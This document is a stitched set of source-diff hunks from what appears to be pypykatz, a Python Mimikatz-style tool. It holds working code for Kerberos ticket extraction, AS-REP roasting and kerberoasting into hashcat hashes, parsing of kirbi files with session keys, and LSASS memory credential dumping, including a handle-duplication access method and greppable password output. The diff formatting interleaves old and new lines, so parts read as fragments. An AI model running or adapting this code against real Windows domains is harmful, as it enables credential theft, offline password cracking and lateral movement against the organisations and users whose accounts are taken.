221 | raise Exception('Failed to get logonserver and no target was specified! This wont work.') | |
222 | target = 'cifs/%s' % logon['logonserver'] | |
223 | ||
224 | ctx = AcquireCredentialsHandle(None, 'kerberos', target, SECPKG_CRED.OUTBOUND) | |
225 | res, ctx, data, outputflags, expiry = InitializeSecurityContext( | |
226 | ctx, | |
227 | target, | |
228 | token = None, | |
229 | ctx = ctx, | |
230 | flags = ISC_REQ.DELEGATE | ISC_REQ.MUTUAL_AUTH | ISC_REQ.ALLOCATE_MEMORY | |
231 | ) | |
232 | ||
233 | ||
234 | if res == SEC_E.OK or res == SEC_E.CONTINUE_NEEDED: | |
235 | #key_data = sspi._get_session_key() | |
236 | raw_ticket = self.export_ticketdata_target(0, target) | |
237 | key = Key(raw_ticket['Key']['KeyType'], raw_ticket['Key']['Key']) | |
238 | token = InitialContextToken.load(data[0][1]) | |
239 | ticket = AP_REQ(token.native['innerContextToken']).native | |
240 | cipher = _enctype_table[ticket['authenticator']['etype']] | |
241 | dec_authenticator = cipher.decrypt(key, 11, ticket['authenticator']['cipher']) | |
242 | authenticator = Authenticator.load(dec_authenticator).native | |
243 | if authenticator['cksum']['cksumtype'] != 0x8003: | |
244 | raise Exception('Checksum not good :(') | |
245 | ||
246 | checksum_data = AuthenticatorChecksum.from_bytes(authenticator['cksum']['checksum']) | |
247 | if ChecksumFlags.GSS_C_DELEG_FLAG not in checksum_data.flags: | |
248 | raise Exception('delegation flag not set!') | |
249 | ||
250 | cred_orig = KRB_CRED.load(checksum_data.delegation_data).native | |
251 | dec_authenticator = cipher.decrypt(key, 14, cred_orig['enc-part']['cipher']) | |
252 | #info = EncKrbCredPart.load(dec_authenticator).native | |
253 | ||
254 | #reconstructing kirbi with the unencrypted data | |
255 | te = {} | |
256 | te['etype'] = 0 | |
257 | te['cipher'] = dec_authenticator | |
258 | ten = EncryptedData(te) | |
259 | ||
260 | t = {} | |
261 | t['pvno'] = cred_orig['pvno'] | |
262 | t['msg-type'] = cred_orig['msg-type'] | |
263 | t['tickets'] = cred_orig['tickets'] | |
264 | t['enc-part'] = ten | |
265 | ||
266 | cred = KRB_CRED(t) | |
267 | return cred.dump() | |
268 | ||
269 | def get_apreq(self, target): | |
270 | ctx = AcquireCredentialsHandle(None, 'kerberos', target, SECPKG_CRED.OUTBOUND) | |
271 | res, ctx, data, outputflags, expiry = InitializeSecurityContext( | |
272 | ctx, | |
273 | target, | |
274 | token = None, | |
275 | ctx = ctx, | |
276 | flags = ISC_REQ.ALLOCATE_MEMORY | ISC_REQ.CONNECTION | |
277 | ) | |
278 | if res == SEC_E.OK or res == SEC_E.CONTINUE_NEEDED: | |
279 | sec_struct = SecPkgContext_SessionKey() | |
280 | QueryContextAttributes(ctx, SECPKG_ATTR.SESSION_KEY, sec_struct) | |
281 | key_data = sec_struct.Buffer | |
282 | #print(data[0][1].hex()) | |
283 | ||
284 | ticket = InitialContextToken.load(data[0][1]).native['innerContextToken'] | |
285 | return AP_REQ(ticket), key_data | |
286 | ||
287 | ||
288 | async def live_roast(outfile = None): | |
289 | try: | |
290 | logon = get_logon_info() | |
291 | domain = logon['domain'] | |
292 | url = 'ldap+sspi-ntlm://%s' % logon['logonserver'] | |
293 | msldap_url = MSLDAPURLDecoder(url) | |
294 | client = msldap_url.get_client() | |
295 | _, err = await client.connect() | |
296 | if err is not None: | |
297 | raise err | |
298 | ||
299 | domain = client._ldapinfo.distinguishedName.replace('DC=','').replace(',','.') | |
300 | spn_users = [] | |
301 | asrep_users = [] | |
302 | errors = [] | |
303 | results = [] | |
304 | final_results = [] | |
305 | spn_cnt = 0 | |
306 | asrep_cnt = 0 | |
307 | async for user, err in client.get_all_knoreq_users(): | |
308 | if err is not None: | |
309 | raise err | |
310 | cred = KerberosCredential() | |
311 | cred.username = user.sAMAccountName | |
312 | cred.domain = domain | |
313 | ||
314 | asrep_users.append(cred) | |
315 | async for user, err in client.get_all_service_users(): | |
316 | if err is not None: | |
317 | raise err | |
318 | cred = KerberosCredential() | |
319 | cred.username = user.sAMAccountName | |
320 | cred.domain = domain | |
321 | ||
322 | spn_users.append(cred) | |
323 | ||
324 | for cred in asrep_users: | |
325 | results = [] | |
326 | ks = KerberosTarget(domain) | |
327 | ar = APREPRoast(ks) | |
328 | res = await ar.run(cred, override_etype = [23]) | |
329 | results.append(res) | |
330 | ||
331 | if outfile is not None: | |
332 | filename = outfile + 'asreproast_%s_%s.txt' % (logon['domain'], datetime.datetime.utcnow().strftime("%Y%m%d_%H%M%S")) | |
333 | with open(filename, 'w', newline = '') as f: | |
334 | for thash in results: | |
335 | asrep_cnt += 1 | |
336 | f.write(thash + '\r\n') | |
337 | else: | |
338 | final_results += results | |
339 | ||
340 | results = [] | |
341 | for cred in spn_users: | |
342 | spn_name = '%s@%s' % (cred.username, cred.domain) | |
343 | if spn_name[:6] == 'krbtgt': | |
344 | continue | |
345 | try: | |
346 | ctx = AcquireCredentialsHandle(None, 'kerberos', spn_name, SECPKG_CRED.OUTBOUND) | |
347 | res, ctx, data, outputflags, expiry = InitializeSecurityContext( | |
348 | ctx, | |
349 | spn_name, | |
350 | token = None, | |
351 | ctx = ctx, | |
352 | flags = ISC_REQ.ALLOCATE_MEMORY | ISC_REQ.CONNECTION | |
353 | ) | |
354 | if res == SEC_E.OK or res == SEC_E.CONTINUE_NEEDED: | |
355 | ticket = InitialContextToken.load(data[0][1]).native['innerContextToken'] | |
356 | else: | |
357 | raise Exception('Error %s' % res.value) | |
358 | except Exception as e: | |
359 | print(e) | |
360 | errors.append((spn_name, e)) | |
361 | continue | |
362 | results.append(TGSTicket2hashcat(ticket)) | |
363 | ||
364 | if outfile is not None: | |
365 | filename = outfile+ 'spnroast_%s_%s.txt' % (logon['domain'], datetime.datetime.utcnow().strftime("%Y%m%d_%H%M%S")) | |
366 | with open(filename, 'w', newline = '') as f: | |
367 | for thash in results: | |
368 | spn_cnt += 1 | |
369 | f.write(thash + '\r\n') | |
370 | ||
371 | else: | |
372 | final_results += results | |
373 | ||
374 | return final_results, errors, None | |
375 | ||
376 | except Exception as e: | |
377 | return None, None, e | |
378 | ||
379 | ||
380 | if __name__ == '__main__': | |
381 | import glob | |
382 | import sys | |
383 | ||
384 | kl = KerberosLive() | |
385 | kl.purge(0) | |
386 | #x = kl.get_all_ticketdata() | |
387 | #ctr = 0 | |
388 | #for luid in x: | |
389 | # if x[luid] != []: | |
390 | # for ticket in x[luid]: | |
391 | # ctr += 1 | |
392 | # with open('test_%s.kirbi' % ctr, 'wb') as f: | |
393 | # f.write(ticket['Ticket']) | |
394 | # | |
395 | #print(x) | |
396 | #sys.exit() | |
397 | for filename in glob.glob('*.kirbi'): | |
398 | with open(filename, 'rb') as d: | |
399 | ticket = d.read() | |
400 | try: | |
401 | kl.submit_ticket(ticket) | |
402 | print('OK') | |
403 | except Exception as e: | |
404 | print(e) | |
405 | input()⏎ |
0 | ||
1 | ||
2 | from minikerberos.protocol.asn1_structs import KRB_CRED, EncKrbCredPart, KRBCRED | |
3 | import base64 | |
4 | ||
5 | def format_kirbi(data, n = 100): | |
6 | kd = base64.b64encode(data).decode() | |
7 | return ' ' + '\r\n '.join([kd[i:i+n] for i in range(0, len(kd), n)]) | |
8 | ||
9 | def describe_kirbi_data(data): | |
10 | if isinstance(data, bytes): | |
11 | kirbi = KRB_CRED.load(data).native | |
12 | elif isinstance(data, dict): | |
13 | kirbi = data | |
14 | elif isinstance(data, KRB_CRED): | |
15 | kirbi = data.native | |
16 | elif isinstance(data, KRBCRED): | |
17 | kirbi = data.native | |
18 | else: | |
19 | raise Exception('Unknown data type! %s' % type(data)) | |
20 | ||
21 | t = '\r\n' | |
22 | for ticket in kirbi['tickets']: | |
23 | t += 'Realm : %s\r\n' % ticket['realm'] | |
24 | t += 'Sname : %s\r\n' % '/'.join(ticket['sname']['name-string']) | |
25 | ||
26 | if kirbi['enc-part']['etype'] == 0: | |
27 | cred = EncKrbCredPart.load(kirbi['enc-part']['cipher']).native | |
28 | cred = cred['ticket-info'][0] | |
29 | username = cred.get('pname') | |
30 | if username is not None: | |
31 | username = '/'.join(username['name-string']) | |
32 | flags = cred.get('flags') | |
33 | if flags is not None: | |
34 | flags = ', '.join(flags) | |
35 | ||
36 | t += 'UserName : %s\r\n' % username | |
37 | t += 'UserRealm : %s\r\n' % cred.get('prealm') | |
38 | t += 'StartTime : %s\r\n' % cred.get('starttime') | |
39 | t += 'EndTime : %s\r\n' % cred.get('endtime') | |
40 | t += 'RenewTill : %s\r\n' % cred.get('renew-till') | |
41 | t += 'Flags : %s\r\n' % flags | |
42 | t += 'Keytype : %s\r\n' % cred['key']['keytype'] | |
43 | t += 'Key : %s\r\n' % base64.b64encode(cred['key']['keyvalue']).decode() | |
44 | ||
45 | t += 'EncodedKirbi : \r\n\r\n' | |
46 | t += format_kirbi(KRB_CRED(kirbi).dump()) | |
47 | return t | |
48 | ||
49 | def print_kirbi(data): | |
50 | print(describe_kirbi_data(data)) | |
51 | ||
52 | ||
53 | ||
54 | def parse_kirbi(kirbifile): | |
55 | with open(kirbifile, 'rb') as f: | |
56 | print_kirbi(f.read())⏎ |
3 | 3 | # Tamas Jos (@skelsec) |
4 | 4 | # |
5 | 5 | |
6 | from pypykatz import logging | |
6 | from pypykatz import logger | |
7 | import asyncio | |
7 | 8 | |
8 | 9 | """ |
9 | 10 | LDAP is not part of pypykatz directly. |
10 | This is a wrapper for msldap, ldap3 and winsspi packages | |
11 | This is a wrapper for msldap | |
11 | 12 | """ |
13 | ||
14 | class LDAPCMDArgs: | |
15 | def __init__(self): | |
16 | self.url = None | |
17 | self.verbose = 0 | |
18 | self.no_interactive = False | |
19 | self.commands = ['login', 'i'] | |
20 | ||
21 | msldap_subcommand_list = [] | |
22 | msldap_epilog = 'FOR AVAILABLE SUBCOMMANDS TYPE "... ldap help" insted of "-h" ' | |
12 | 23 | |
13 | 24 | class LDAPCMDHelper: |
14 | 25 | def __init__(self): |
16 | 27 | self.keywords = ['ldap'] |
17 | 28 | |
18 | 29 | def add_args(self, parser, live_parser): |
19 | group = parser.add_parser('ldap', help='LDAP (live) related commands') | |
20 | group.add_argument('credential', help= 'Credential to be used') | |
21 | group.add_argument('cmd', choices=['spn', 'asrep','dump','custom']) | |
22 | group.add_argument('-o','--out-file', help= 'File to stroe results in') | |
23 | group.add_argument('-a','--attrs', action='append', help='DUMP and CUSTOM mode only. LDAP attributes to display. Can be stacked') | |
24 | group.add_argument('-f','--filter', help='CUSTOM mode only. LDAP search filter') | |
30 | group = parser.add_parser('ldap', help='LDAP client. Use "help" instead of "-h" to get the available subcommands') | |
31 | group.add_argument('-v', '--verbose', action='count', default=0, help='Verbosity, can be stacked') | |
32 | group.add_argument('url', help="LDAP connection string") | |
33 | group.add_argument('commands', nargs='*', help="!OPTIONAL! Takes a series of commands which will be executed until error encountered. If the command is 'i' is encountered during execution it drops back to interactive shell.") | |
25 | 34 | |
26 | ||
27 | live_group = live_parser.add_parser('ldap', help='LDAP (live) related commands') | |
28 | live_group.add_argument('-c','--credential', help= 'Credential to be used, if omitted it will use teh credentials of the current user. If specified, it will try to impersonate the user. (requires the the target user has a session on the local computer)') | |
29 | live_group.add_argument('--dc-ip', help= 'IP address or hostname of the LDAP server. Optional. If omitted will use registry to check for the DC.') | |
30 | live_group.add_argument('cmd', choices=['spn', 'asrep','dump','custom']) | |
31 | live_group.add_argument('-o','--out-file', help= 'File to stroe results in') | |
32 | live_group.add_argument('-a','--attrs', action='append', help='DUMP and CUSTOM mode only. LDAP attributes to display. Can be stacked') | |
33 | live_group.add_argument('-f','--filter', help='CUSTOM mode only. LDAP search filter') | |
34 | ||
35 | live_group = live_parser.add_parser('ldap', help='LDAP (live) client. Use "help" instead of "-h" to get the available subcommands', epilog=msldap_epilog) | |
36 | live_group.add_argument('--host', help= 'Specify a custom logon server.') | |
37 | live_group.add_argument('--authmethod', choices=['ntlm', 'kerberos'], default = 'ntlm', help= 'Authentication method to use during login') | |
38 | live_group.add_argument('-v', '--verbose', action='count', default=0, help='Verbosity, can be stacked') | |
39 | live_group.add_argument('commands', nargs='*', help="!OPTIONAL! Takes a series of commands which will be executed until error encountered. If the command is 'i' is encountered during execution it drops back to interactive shell.") | |
40 | ||
35 | 41 | def execute(self, args): |
36 | 42 | if args.command in self.keywords: |
37 | 43 | self.run(args) |
41 | 47 | |
42 | 48 | |
43 | 49 | def run_live(self, args): |
44 | from msldap.core import MSLDAPCredential, MSLDAPTarget, MSLDAPConnection | |
45 | from msldap.ldap_objects import MSADUser | |
46 | from msldap import logger as msldaplogger | |
47 | from pypykatz.commons.winapi.machine import LiveMachine | |
48 | ||
49 | machine = LiveMachine() | |
50 | ||
51 | if args.credential: | |
52 | creds = MSLDAPCredential.from_connection_string(args.credential) | |
53 | else: | |
54 | creds = MSLDAPCredential.get_dummy_sspi() | |
55 | ||
56 | if args.dc_ip: | |
57 | target = MSLDAPTarget(args.dc_ip) | |
58 | else: | |
59 | target = MSLDAPTarget(machine.get_domain()) | |
60 | ||
61 | connection = MSLDAPConnection(creds, target) | |
62 | connection.connect() | |
63 | ||
64 | try: | |
65 | adinfo = connection.get_ad_info() | |
66 | domain = adinfo.distinguishedName.replace('DC=','').replace(',','.') | |
67 | except Exception as e: | |
68 | logging.warning('[LDAP] Failed to get domain name from LDAP server. This is not normal, but happens. Reason: %s' % e) | |
69 | domain = machine.get_domain() | |
70 | ||
71 | if args.cmd == 'spn': | |
72 | logging.debug('Enumerating SPN user accounts...') | |
73 | cnt = 0 | |
74 | if args.out_file: | |
75 | with open(os.path.join(basefolder,basefile+'_spn_users.txt'), 'w', newline='') as f: | |
76 | for user in connection.get_all_service_user_objects(): | |
77 | cnt += 1 | |
78 | f.write('%s/%s\r\n' % (domain, user.sAMAccountName)) | |
79 | ||
50 | from msldap.examples.msldapclient import amain | |
51 | from winacl.functions.highlevel import get_logon_info | |
52 | info = get_logon_info() | |
53 | ||
54 | logonserver = info['logonserver'] | |
55 | if args.host is not None: | |
56 | logonserver = args.host | |
57 | ||
58 | la = LDAPCMDArgs() | |
59 | la.url = 'ldap+sspi-%s://%s\\%s@%s' % (args.authmethod, info['domain'], info['username'], logonserver) | |
60 | la.verbose = args.verbose | |
61 | ||
62 | if args.verbose > 1: | |
63 | print('Using the following auto-generated URL: %s' % la.url) | |
64 | if args.commands is not None and len(args.commands) > 0: | |
65 | la.commands = [] | |
66 | if args.commands[0] == 'help': | |
67 | la.commands = ['help'] | |
80 | 68 | else: |
81 | print('[+] SPN users') | |
82 | for user in connection.get_all_service_user_objects(): | |
83 | cnt += 1 | |
84 | print('%s/%s' % (domain, user.sAMAccountName)) | |
85 | ||
86 | logging.debug('Enumerated %d SPN user accounts' % cnt) | |
87 | ||
88 | elif args.cmd == 'asrep': | |
89 | logging.debug('Enumerating ASREP user accounts...') | |
90 | ctr = 0 | |
91 | if args.out_file: | |
92 | with open(os.path.join(basefolder,basefile+'_asrep_users.txt'), 'w', newline='') as f: | |
93 | for user in connection.get_all_knoreq_user_objects(): | |
94 | ctr += 1 | |
95 | f.write('%s/%s\r\n' % (domain, user.sAMAccountName)) | |
96 | else: | |
97 | print('[+] ASREP users') | |
98 | for user in connection.get_all_knoreq_user_objects(): | |
99 | ctr += 1 | |
100 | print('%s/%s' % (domain, user.sAMAccountName)) | |
69 | if args.commands[0] != 'login': | |
70 | la.commands.append('login') | |
71 | ||
72 | for command in args.commands: | |
73 | la.commands.append(command) | |
101 | 74 | |
102 | logging.debug('Enumerated %d ASREP user accounts' % ctr) | |
103 | ||
104 | elif args.cmd == 'dump': | |
105 | logging.debug('Enumerating ALL user accounts, this will take some time depending on the size of the domain') | |
106 | ctr = 0 | |
107 | attrs = args.attrs if args.attrs is not None else MSADUser.TSV_ATTRS | |
108 | if args.out_file: | |
109 | with open(os.path.join(basefolder,basefile+'_ldap_users.tsv'), 'w', newline='', encoding ='utf8') as f: | |
110 | writer = csv.writer(f, delimiter = '\t') | |
111 | writer.writerow(attrs) | |
112 | for user in connection.get_all_user_objects(): | |
113 | ctr += 1 | |
114 | writer.writerow(user.get_row(attrs)) | |
115 | ||
116 | else: | |
117 | logging.debug('Are you sure about this?') | |
118 | print('[+] Full user dump') | |
119 | print('\t'.join(attrs)) | |
120 | for user in connection.get_all_user_objects(): | |
121 | ctr += 1 | |
122 | print('\t'.join([str(x) for x in user.get_row(attrs)])) | |
123 | ||
124 | ||
125 | logging.debug('Enumerated %d user accounts' % ctr) | |
126 | ||
127 | elif args.cmd == 'custom': | |
128 | if not args.filter: | |
129 | raise Exception('Custom LDAP search requires the search filter to be specified!') | |
130 | if not args.attrs: | |
131 | raise Exception('Custom LDAP search requires the attributes to be specified!') | |
132 | ||
133 | logging.debug('Perforing search on the AD with the following filter: %s' % args.filter) | |
134 | logging.debug('Search will contain the following attributes: %s' % ','.join(args.attrs)) | |
135 | ctr = 0 | |
136 | ||
137 | if args.out_file: | |
138 | with open(os.path.join(basefolder,basefile+'_ldap_custom.tsv'), 'w', newline='') as f: | |
139 | writer = csv.writer(f, delimiter = '\t') | |
140 | writer.writerow(args.attrs) | |
141 | for obj in connection.pagedsearch(args.filter, args.attrs): | |
142 | ctr += 1 | |
143 | writer.writerow([str(obj['attributes'].get(x, 'N/A')) for x in args.attrs]) | |
144 | ||
145 | else: | |
146 | for obj in connection.pagedsearch(args.filter, args.attrs): | |
147 | ctr += 1 | |
148 | print('\t'.join([str(obj['attributes'].get(x, 'N/A')) for x in args.attrs])) | |
149 | ||
150 | logging.debug('Custom search yielded %d results!' % ctr) | |
75 | asyncio.run(amain(la)) | |
151 | 76 | |
152 | 77 | def run(self, args): |
153 | from msldap.core import MSLDAPCredential, MSLDAPTarget, MSLDAPConnection | |
154 | from msldap.ldap_objects import MSADUser | |
155 | from msldap import logger as msldaplogger | |
156 | ||
157 | if not args.credential: | |
158 | raise Exception('You must provide credentials when using ldap in platform independent mode.') | |
159 | ||
160 | creds = MSLDAPCredential.from_connection_string(args.credential) | |
161 | target = MSLDAPTarget.from_connection_string(args.credential) | |
162 | ||
163 | connection = MSLDAPConnection(creds, target) | |
164 | connection.connect() | |
165 | ||
166 | try: | |
167 | adinfo = connection.get_ad_info() | |
168 | domain = adinfo.distinguishedName.replace('DC=','').replace(',','.') | |
169 | except Exception as e: | |
170 | logging.warning('[LDAP] Failed to get domain name from LDAP server. This is not normal, but happens. Reason: %s' % e) | |
171 | domain = machine.get_domain() | |
172 | ||
173 | if args.cmd == 'spn': | |
174 | logging.debug('Enumerating SPN user accounts...') | |
175 | cnt = 0 | |
176 | if args.out_file: | |
177 | with open(os.path.join(basefolder,basefile+'_spn_users.txt'), 'w', newline='') as f: | |
178 | for user in connection.get_all_service_user_objects(): | |
179 | cnt += 1 | |
180 | f.write('%s/%s\r\n' % (domain, user.sAMAccountName)) | |
181 | ||
78 | from msldap.examples.msldapclient import amain | |
79 | la = LDAPCMDArgs() | |
80 | la.url = args.url | |
81 | la.verbose = args.verbose | |
82 | if args.commands is not None and len(args.commands) > 0: | |
83 | la.commands = [] | |
84 | if args.commands[0] == 'help': | |
85 | la.commands = ['help'] | |
182 | 86 | else: |
183 | print('[+] SPN users') | |
184 | for user in connection.get_all_service_user_objects(): | |
185 | cnt += 1 | |
186 | print('%s/%s' % (domain, user.sAMAccountName)) | |
187 | ||
188 | logging.debug('Enumerated %d SPN user accounts' % cnt) | |
189 | ||
190 | elif args.cmd == 'asrep': | |
191 | logging.debug('Enumerating ASREP user accounts...') | |
192 | ctr = 0 | |
193 | if args.out_file: | |
194 | with open(os.path.join(basefolder,basefile+'_asrep_users.txt'), 'w', newline='') as f: | |
195 | for user in connection.get_all_knoreq_user_objects(): | |
196 | ctr += 1 | |
197 | f.write('%s/%s\r\n' % (domain, user.sAMAccountName)) | |
198 | else: | |
199 | print('[+] ASREP users') | |
200 | for user in connection.get_all_knoreq_user_objects(): | |
201 | ctr += 1 | |
202 | print('%s/%s' % (domain, user.sAMAccountName)) | |
203 | ||
204 | logging.debug('Enumerated %d ASREP user accounts' % ctr) | |
205 | ||
206 | elif args.cmd == 'dump': | |
207 | logging.debug('Enumerating ALL user accounts, this will take some time depending on the size of the domain') | |
208 | ctr = 0 | |
209 | attrs = args.attrs if args.attrs is not None else MSADUser.TSV_ATTRS | |
210 | if args.out_file: | |
211 | with open(os.path.join(basefolder,basefile+'_ldap_users.tsv'), 'w', newline='', encoding ='utf8') as f: | |
212 | writer = csv.writer(f, delimiter = '\t') | |
213 | writer.writerow(attrs) | |
214 | for user in connection.get_all_user_objects(): | |
215 | ctr += 1 | |
216 | writer.writerow(user.get_row(attrs)) | |
217 | ||
218 | else: | |
219 | logging.debug('Are you sure about this?') | |
220 | print('[+] Full user dump') | |
221 | print('\t'.join(attrs)) | |
222 | for user in connection.get_all_user_objects(): | |
223 | ctr += 1 | |
224 | print('\t'.join([str(x) for x in user.get_row(attrs)])) | |
225 | ||
226 | ||
227 | logging.debug('Enumerated %d user accounts' % ctr) | |
228 | ||
229 | elif args.cmd == 'custom': | |
230 | if not args.filter: | |
231 | raise Exception('Custom LDAP search requires the search filter to be specified!') | |
232 | if not args.attrs: | |
233 | raise Exception('Custom LDAP search requires the attributes to be specified!') | |
234 | ||
235 | logging.debug('Perforing search on the AD with the following filter: %s' % args.filter) | |
236 | logging.debug('Search will contain the following attributes: %s' % ','.join(args.attrs)) | |
237 | ctr = 0 | |
238 | ||
239 | if args.out_file: | |
240 | with open(os.path.join(basefolder,basefile+'_ldap_custom.tsv'), 'w', newline='') as f: | |
241 | writer = csv.writer(f, delimiter = '\t') | |
242 | writer.writerow(args.attrs) | |
243 | for obj in connection.pagedsearch(args.filter, args.attrs): | |
244 | ctr += 1 | |
245 | writer.writerow([str(obj['attributes'].get(x, 'N/A')) for x in args.attrs]) | |
246 | ||
247 | else: | |
248 | for obj in connection.pagedsearch(args.filter, args.attrs): | |
249 | ctr += 1 | |
250 | print('\t'.join([str(obj['attributes'].get(x, 'N/A')) for x in args.attrs])) | |
251 | ||
252 | logging.debug('Custom search yielded %d results!' % ctr) | |
253 | ⏎ | |
87 | if args.commands[0] != 'login': | |
88 | la.commands.append('login') | |
89 | ||
90 | for command in args.commands: | |
91 | la.commands.append(command) | |
92 | ||
93 | asyncio.run(amain(la)) |
28 | 28 | live_group.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)') |
29 | 29 | live_group.add_argument('-k', '--kerberos-dir', help = 'Save kerberos tickets to a directory.') |
30 | 30 | live_group.add_argument('-g', '--grep', action='store_true', help = 'Print credentials in greppable format') |
31 | live_group.add_argument('--method', choices = ['procopen', 'handledup'], default = 'procopen', help = 'LSASS process access method') | |
31 | 32 | |
32 | 33 | group = parser.add_parser('lsa', help='Get secrets from memory dump') |
33 | 34 | group.add_argument('cmd', choices=['minidump','rekall']) |
143 | 144 | if args.module == 'lsa': |
144 | 145 | filename = 'live' |
145 | 146 | try: |
146 | mimi = pypykatz.go_live() | |
147 | if args.method == 'procopen': | |
148 | mimi = pypykatz.go_live() | |
149 | elif args.method == 'handledup': | |
150 | mimi = pypykatz.go_handledup() | |
151 | if mimi is None: | |
152 | raise Exception('HANDLEDUP failed to bring any results!') | |
147 | 153 | results['live'] = mimi |
148 | 154 | except Exception as e: |
149 | 155 | files_with_error.append(filename) |
91 | 91 | self.log('Looking for main struct signature in memory...') |
92 | 92 | fl = self.reader.find_in_module('lsasrv.dll', self.decryptor_template.signature) |
93 | 93 | if len(fl) == 0: |
94 | logging.warning('signature not found! %s' % self.decryptor_template.signature.hex()) | |
94 | logging.debug('signature not found! %s' % self.decryptor_template.signature.hex()) | |
95 | 95 | raise Exception('LSA signature not found!') |
96 | 96 | |
97 | 97 | self.log('Found candidates on the following positions: %s' % ' '.join(hex(x) for x in fl)) |
42 | 42 | self.log('Looking for main struct signature in memory...') |
43 | 43 | fl = self.reader.find_in_module('lsasrv.dll', self.decryptor_template.key_pattern.signature) |
44 | 44 | if len(fl) == 0: |
45 | logger.warning('signature not found! %s' % self.decryptor_template.key_pattern.signature.hex()) | |
45 | logger.debug('signature not found! %s' % self.decryptor_template.key_pattern.signature.hex()) | |
46 | 46 | raise Exception('LSA signature not found!') |
47 | 47 | |
48 | 48 | self.log('Found candidates on the following positions: %s' % ' '.join(hex(x) for x in fl)) |
372 | 372 | continue |
373 | 373 | |
374 | 374 | self.walk_list(entry_ptr, self.add_entry) |
375 | ||
376 | #self.brute_test() | |
377 | ||
378 | #def brute_test(self): | |
379 | # from pypykatz.commons.win_datatypes import LUID | |
380 | # luid_int = 1138792 | |
381 | # luid_bytes = luid_int.to_bytes(8, byteorder='little', signed=False) | |
382 | # needle_luid = LUID(io.BytesIO(luid_bytes)).value | |
383 | # offset = 0x70 | |
384 | # | |
385 | # for luid_pos in self.reader.find_all_global(luid_bytes): | |
386 | # self.reader.move(luid_pos - offset) | |
387 | # et = self.decryptor_template.list_entry(self.reader).finaltype | |
388 | # self.reader.move(luid_pos - offset) | |
389 | # test_ptr = et(self.reader) | |
390 | # if test_ptr.LocallyUniqueIdentifier == needle_luid: | |
391 | # print('HIT!') | |
392 | # entry_ptr = self.decryptor_template.list_entry(self.reader) | |
393 | # try: | |
394 | # self.walk_list(test_ptr.Flink, self.add_entry) | |
395 | # except Exception as e: | |
396 | # print('ERR! %s' % e)⏎ |
13 | 13 | TspkgDecryptor, TspkgTemplate, KerberosTemplate, KerberosDecryptor, \ |
14 | 14 | DpapiTemplate, DpapiDecryptor, LsaDecryptor |
15 | 15 | |
16 | from pypykatz.lsadecryptor.packages.msv.decryptor import LogonSession | |
16 | 17 | from pypykatz import logger |
17 | 18 | from pypykatz.commons.common import UniversalEncoder |
18 | 19 | from minidump.minidumpfile import MinidumpFile |
45 | 46 | return t |
46 | 47 | |
47 | 48 | def to_json(self): |
48 | return json.dumps(self.to_dict(), cls = UniversalEncoder) | |
49 | ||
49 | return json.dumps(self.to_dict(), cls = UniversalEncoder, indent=4, sort_keys=True) | |
50 | ||
51 | def to_grep(self): | |
52 | res = ':'.join(LogonSession.grep_header) + '\r\n' | |
53 | for luid in self.logon_sessions: | |
54 | for row in self.logon_sessions[luid].to_grep_rows(): | |
55 | res += ':'.join(row) + '\r\n' | |
56 | for cred in self.orphaned_creds: | |
57 | t = cred.to_dict() | |
58 | if t['credtype'] != 'dpapi': | |
59 | if t['password'] is not None: | |
60 | x = [str(t['credtype']), str(t['domainname']), str(t['username']), '', '', '', '', '', str(t['password'])] | |
61 | res += ':'.join(x) + '\r\n' | |
62 | else: | |
63 | t = cred.to_dict() | |
64 | x = [str(t['credtype']), '', '', '', '', '', str(t['masterkey']), str(t['sha1_masterkey']), str(t['key_guid']), ''] | |
65 | res += ':'.join(x) + '\r\n' | |
66 | ||
67 | return res | |
68 | ||
69 | def __str__(self): | |
70 | res = '== Logon credentials ==\r\n' | |
71 | for luid in self.logon_sessions: | |
72 | res += str(self.logon_sessions[luid]) + '\r\n' | |
73 | ||
74 | if len(self.orphaned_creds) > 0: | |
75 | res += '== Orphaned credentials ==\r\n' | |
76 | for cred in self.orphaned_creds: | |
77 | res += str(cred) + '\r\n' | |
78 | ||
79 | return res | |
80 | ||
50 | 81 | @staticmethod |
51 | 82 | def go_live(): |
52 | 83 | if platform.system() != 'Windows': |
53 | 84 | raise Exception('Live parsing will only work on Windows') |
54 | 85 | from pypykatz.commons.readers.local.live_reader import LiveReader |
55 | 86 | reader = LiveReader() |
87 | sysinfo = KatzSystemInfo.from_live_reader(reader) | |
88 | mimi = pypykatz(reader.get_buffered_reader(), sysinfo) | |
89 | mimi.start() | |
90 | return mimi | |
91 | ||
92 | @staticmethod | |
93 | def go_handledup(): | |
94 | if platform.system() != 'Windows': | |
95 | raise Exception('Live parsing will only work on Windows') | |
96 | from pypykatz.commons.winapi.local.function_defs.live_reader_ctypes import enum_lsass_handles | |
97 | lsass_handles = enum_lsass_handles() | |
98 | if len(lsass_handles) == 0: | |
99 | raise Exception('No handles found to LSASS!') | |
100 | for pid, lsass_handle in lsass_handles: | |
101 | try: | |
102 | return pypykatz.go_live_phandle(lsass_handle) | |
103 | except Exception as e: | |
104 | print('[-] Failed to parse lsass via handle %s[@%s] Reason: %s' % (pid, lsass_handle, e)) | |
105 | ||
106 | @staticmethod | |
107 | def go_live_phandle(lsass_process_handle): | |
108 | if platform.system() != 'Windows': | |
109 | raise Exception('Live parsing will only work on Windows') | |
110 | from pypykatz.commons.readers.local.live_reader import LiveReader | |
111 | reader = LiveReader(lsass_process_handle=lsass_process_handle) | |
56 | 112 | sysinfo = KatzSystemInfo.from_live_reader(reader) |
57 | 113 | mimi = pypykatz(reader.get_buffered_reader(), sysinfo) |
58 | 114 | mimi.start() |
169 | 225 | |
170 | 226 | def get_lsa_bruteforce(self): |
171 | 227 | #good luck! |
172 | logger.info('Testing all available templates! Expect warnings!') | |
228 | logger.debug('Testing all available templates! Expect warnings!') | |
173 | 229 | for lsa_dec_template in LsaTemplate.get_template_brute(self.sysinfo): |
174 | 230 | try: |
175 | 231 | lsa_dec = LsaDecryptor.choose(self.reader, lsa_dec_template, self.sysinfo) |
177 | 233 | except: |
178 | 234 | pass |
179 | 235 | else: |
180 | logger.info('Lucky you! Brutefoce method found a -probably- working template!') | |
236 | logger.debug('Lucky you! Brutefoce method found a -probably- working template!') | |
181 | 237 | return lsa_dec |
182 | 238 | |
183 | 239 | def get_lsa(self): |
186 | 242 | lsa_dec_template = LsaTemplate.get_template(self.sysinfo) |
187 | 243 | lsa_dec = LsaDecryptor.choose(self.reader, lsa_dec_template, self.sysinfo) |
188 | 244 | logger.debug(lsa_dec.dump()) |
189 | except: | |
190 | logger.exception('Failed to automatically detect correct LSA template!') | |
